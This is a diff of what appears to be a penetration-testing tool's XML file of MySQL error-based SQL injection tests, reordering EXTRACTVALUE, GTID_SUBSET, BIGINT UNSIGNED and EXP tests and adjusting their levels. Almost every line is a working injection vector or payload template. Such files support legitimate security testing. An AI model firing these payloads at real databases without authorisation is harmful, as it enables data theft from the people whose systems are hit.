|
3 | 3 | <root> |
4 | 4 | <!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause --> |
5 | 5 | <test> |
6 | | - <title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title> |
| 6 | + <title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title> |
7 | 7 | <stype>2</stype> |
8 | | - <level>4</level> |
| 8 | + <level>1</level> |
9 | 9 | <risk>1</risk> |
10 | 10 | <clause>1,2,3,8,9</clause> |
11 | 11 | <where>1</where> |
12 | | - <vector>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> |
| 12 | + <vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector> |
13 | 13 | <request> |
14 | 14 | <!-- These work as good as ELT(), but are longer |
15 | | - <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
16 | | - <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 15 | + <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload> |
| 16 | + <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
17 | 17 | --> |
18 | | - <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 18 | + <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
19 | 19 | </request> |
20 | 20 | <response> |
21 | 21 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
22 | 22 | </response> |
23 | 23 | <details> |
24 | 24 | <dbms>MySQL</dbms> |
25 | | - <dbms_version>>= 5.5</dbms_version> |
| 25 | + <dbms_version>>= 5.1</dbms_version> |
26 | 26 | </details> |
27 | 27 | </test> |
28 | 28 |
|
29 | 29 | <test> |
30 | | - <!-- It does not work against ORDER BY or GROUP BY clause --> |
31 | | - <title>MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)</title> |
| 30 | + <title>MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title> |
32 | 31 | <stype>2</stype> |
33 | | - <level>4</level> |
| 32 | + <level>1</level> |
34 | 33 | <risk>3</risk> |
35 | | - <clause>1,8,9</clause> |
| 34 | + <clause>1,2,3,8,9</clause> |
| 35 | + <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY --> |
36 | 36 | <where>1</where> |
37 | | - <vector>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> |
| 37 | + <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector> |
38 | 38 | <request> |
39 | 39 | <!-- These work as good as ELT(), but are longer |
40 | | - <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
41 | | - <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 40 | + <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload> |
| 41 | + <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
42 | 42 | --> |
43 | | - <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 43 | + <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
44 | 44 | </request> |
45 | 45 | <response> |
46 | 46 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
47 | 47 | </response> |
48 | 48 | <details> |
49 | 49 | <dbms>MySQL</dbms> |
50 | | - <dbms_version>>= 5.5</dbms_version> |
| 50 | + <dbms_version>>= 5.1</dbms_version> |
51 | 51 | </details> |
52 | 52 | </test> |
53 | 53 |
|
54 | 54 | <test> |
55 | | - <title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title> |
| 55 | + <title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title> |
| 56 | + <stype>2</stype> |
| 57 | + <level>2</level> |
| 58 | + <risk>1</risk> |
| 59 | + <clause>1,2,3,8,9</clause> |
| 60 | + <where>1</where> |
| 61 | + <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 62 | + <request> |
| 63 | + <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 64 | + </request> |
| 65 | + <response> |
| 66 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 67 | + </response> |
| 68 | + <details> |
| 69 | + <dbms>MySQL</dbms> |
| 70 | + <dbms_version>>= 5.6</dbms_version> |
| 71 | + </details> |
| 72 | + </test> |
| 73 | + |
| 74 | + <test> |
| 75 | + <title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title> |
| 76 | + <stype>2</stype> |
| 77 | + <level>2</level> |
| 78 | + <risk>3</risk> |
| 79 | + <clause>1,8,9</clause> |
| 80 | + <where>1</where> |
| 81 | + <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 82 | + <request> |
| 83 | + <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 84 | + </request> |
| 85 | + <response> |
| 86 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 87 | + </response> |
| 88 | + <details> |
| 89 | + <dbms>MySQL</dbms> |
| 90 | + <dbms_version>>= 5.6</dbms_version> |
| 91 | + </details> |
| 92 | + </test> |
| 93 | + |
| 94 | + <test> |
| 95 | + <title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title> |
56 | 96 | <stype>2</stype> |
57 | 97 | <level>4</level> |
58 | 98 | <risk>1</risk> |
59 | 99 | <clause>1,2,3,8,9</clause> |
60 | 100 | <where>1</where> |
61 | | - <vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> |
| 101 | + <vector>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> |
62 | 102 | <request> |
63 | | - <payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> |
| 103 | + <!-- These work as good as ELT(), but are longer |
| 104 | + <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 105 | + <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 106 | + --> |
| 107 | + <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
64 | 108 | </request> |
65 | 109 | <response> |
66 | 110 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
72 | 116 | </test> |
73 | 117 |
|
74 | 118 | <test> |
75 | | - <title>MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)</title> |
| 119 | + <!-- It does not work against ORDER BY or GROUP BY clause --> |
| 120 | + <title>MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)</title> |
76 | 121 | <stype>2</stype> |
77 | 122 | <level>4</level> |
78 | 123 | <risk>3</risk> |
79 | 124 | <clause>1,8,9</clause> |
80 | 125 | <where>1</where> |
81 | | - <vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> |
| 126 | + <vector>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> |
82 | 127 | <request> |
83 | | - <payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> |
| 128 | + <!-- These work as good as ELT(), but are longer |
| 129 | + <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 130 | + <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 131 | + --> |
| 132 | + <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
84 | 133 | </request> |
85 | 134 | <response> |
86 | 135 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
92 | 141 | </test> |
93 | 142 |
|
94 | 143 | <test> |
95 | | - <title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title> |
| 144 | + <title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title> |
96 | 145 | <stype>2</stype> |
97 | | - <level>1</level> |
| 146 | + <level>4</level> |
98 | 147 | <risk>1</risk> |
99 | 148 | <clause>1,2,3,8,9</clause> |
100 | 149 | <where>1</where> |
101 | | - <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 150 | + <vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> |
102 | 151 | <request> |
103 | | - <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 152 | + <payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> |
104 | 153 | </request> |
105 | 154 | <response> |
106 | 155 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
107 | 156 | </response> |
108 | 157 | <details> |
109 | 158 | <dbms>MySQL</dbms> |
110 | | - <dbms_version>>= 5.6</dbms_version> |
| 159 | + <dbms_version>>= 5.5</dbms_version> |
111 | 160 | </details> |
112 | 161 | </test> |
113 | 162 |
|
114 | 163 | <test> |
115 | | - <title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title> |
| 164 | + <title>MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)</title> |
116 | 165 | <stype>2</stype> |
117 | | - <level>1</level> |
| 166 | + <level>4</level> |
118 | 167 | <risk>3</risk> |
119 | 168 | <clause>1,8,9</clause> |
120 | 169 | <where>1</where> |
121 | | - <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 170 | + <vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> |
122 | 171 | <request> |
123 | | - <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 172 | + <payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> |
124 | 173 | </request> |
125 | 174 | <response> |
126 | 175 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
127 | 176 | </response> |
128 | 177 | <details> |
129 | 178 | <dbms>MySQL</dbms> |
130 | | - <dbms_version>>= 5.6</dbms_version> |
| 179 | + <dbms_version>>= 5.5</dbms_version> |
131 | 180 | </details> |
132 | 181 | </test> |
133 | 182 |
|
|
241 | 290 | </details> |
242 | 291 | </test> |
243 | 292 |
|
244 | | - <test> |
245 | | - <title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title> |
246 | | - <stype>2</stype> |
247 | | - <level>1</level> |
248 | | - <risk>1</risk> |
249 | | - <clause>1,2,3,8,9</clause> |
250 | | - <where>1</where> |
251 | | - <vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector> |
252 | | - <request> |
253 | | - <!-- These work as good as ELT(), but are longer |
254 | | - <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload> |
255 | | - <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
256 | | - --> |
257 | | - <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
258 | | - </request> |
259 | | - <response> |
260 | | - <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
261 | | - </response> |
262 | | - <details> |
263 | | - <dbms>MySQL</dbms> |
264 | | - <dbms_version>>= 5.1</dbms_version> |
265 | | - </details> |
266 | | - </test> |
267 | | - |
268 | | - <test> |
269 | | - <title>MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title> |
270 | | - <stype>2</stype> |
271 | | - <level>1</level> |
272 | | - <risk>3</risk> |
273 | | - <clause>1,2,3,8,9</clause> |
274 | | - <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY --> |
275 | | - <where>1</where> |
276 | | - <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector> |
277 | | - <request> |
278 | | - <!-- These work as good as ELT(), but are longer |
279 | | - <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload> |
280 | | - <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
281 | | - --> |
282 | | - <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
283 | | - </request> |
284 | | - <response> |
285 | | - <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
286 | | - </response> |
287 | | - <details> |
288 | | - <dbms>MySQL</dbms> |
289 | | - <dbms_version>>= 5.1</dbms_version> |
290 | | - </details> |
291 | | - </test> |
292 | | - |
293 | 293 | <test> |
294 | 294 | <title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title> |
295 | 295 | <stype>2</stype> |
|
987 | 987 | <test> |
988 | 988 | <title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title> |
989 | 989 | <stype>2</stype> |
990 | | - <level>2</level> |
| 990 | + <level>3</level> |
991 | 991 | <risk>1</risk> |
992 | 992 | <clause>1,2,3,9</clause> |
993 | 993 | <where>3</where> |
|
1276 | 1276 | <test> |
1277 | 1277 | <title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title> |
1278 | 1278 | <stype>2</stype> |
1279 | | - <level>2</level> |
| 1279 | + <level>3</level> |
1280 | 1280 | <risk>1</risk> |
1281 | 1281 | <clause>2,3</clause> |
1282 | 1282 | <where>1</where> |
|
0 commit comments